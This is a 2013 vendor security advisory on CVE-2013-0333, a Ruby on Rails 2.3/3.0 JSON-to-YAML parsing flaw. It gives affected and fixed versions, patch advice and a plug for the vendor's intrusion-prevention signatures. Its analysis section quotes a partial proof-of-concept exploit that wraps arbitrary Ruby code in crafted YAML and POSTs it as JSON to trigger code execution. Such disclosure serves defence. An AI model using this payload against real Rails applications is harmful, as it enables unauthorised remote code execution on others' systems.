LIONIC®
Security Chip Provider

04/02/2013
Doc No: SN-2013-06002

Security News

2013-06002 Ruby on Rails 3.0 and 2.3 JSON Parser Vulnerability

1. Affected Version

Ruby on Rails 2.3.x
Ruby on Rails 3.0.x

2. Description

Per Ruby on Rails advisory States:

There is a vulnerability in the JSON code for Ruby on Rails which allows attackers to bypass authentication systems, inject arbitrary SQL, inject and execute arbitrary code, or perform a DoS attack on a Rails application. This vulnerability has been assigned the CVE identifier CVE-2013-0333.

Versions Affected: 2.3.x, 3.0.x
Not Affected: 3.1.x, 3.2.x, applications using the yajl gem.
Fixed Versions: 3.0.20, 2.3.16

3. Vulnerability Analysis

The partial proof-of-concept code is listed as follows:

```
          def exploit(url,payload)
  payload        = "(#{payload}; @executed = true) unless @executed"
  escaped_payload = "foo\nend\n#{payload}\n__END__\n"
  encoded_payload = escaped_payload.to_yaml.sub('--- ','').chomp

  yaml = %{
--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection
? #{encoded_payload}
: !ruby/struct
  defaults:
    :action: create
    :controller: foos
  required_parts: []
requirements:
  :action: create
  :controller: foos
segment_keys:
  - :format
}.strip
encoded_yaml = yaml.gsub(':','\u003a')

return http_post(
  :url      => url,
  :headers   => {
    :content_type         => 'application/json',
    :x_http_method_override => 'get'
  },
  :body     => encoded_yaml
)
```

Table 1: The partial proof-of-concept code

The JSON Parsing code in Rails 2.3 and 3.0 support multiple parsing backends. One of the backends involves transforming the JSON into YAML, and passing that through the YAML parser. Using a specially crafted payload attackers can trick the backend into decoding a subset of YAML.

4. Recommendation

1. AegisLab IDP signature database can prevent this attack since 04/02/2013.
2. Apply appropriate vendor supplied patches or service pack.

5. Reference

1. Ruby on Rails advisory
2. CVE-2013-0333
3. http://www.kb.cert.org/vuls/id/628463

About Lionic: Lionic Corporation is an innovative network security chip and IP design company. It provides optimal cost-performance solutions for network security products from 30Mbps SOHO devices to 4Gbps enterprise-level appliances.
For more information, please visit Lionic website and contact our sales representatives.
Web site: www.lionic.com e-mail: sales@lionic.com Tel: 886-3-578-9399 Fax: 886-3-578-0707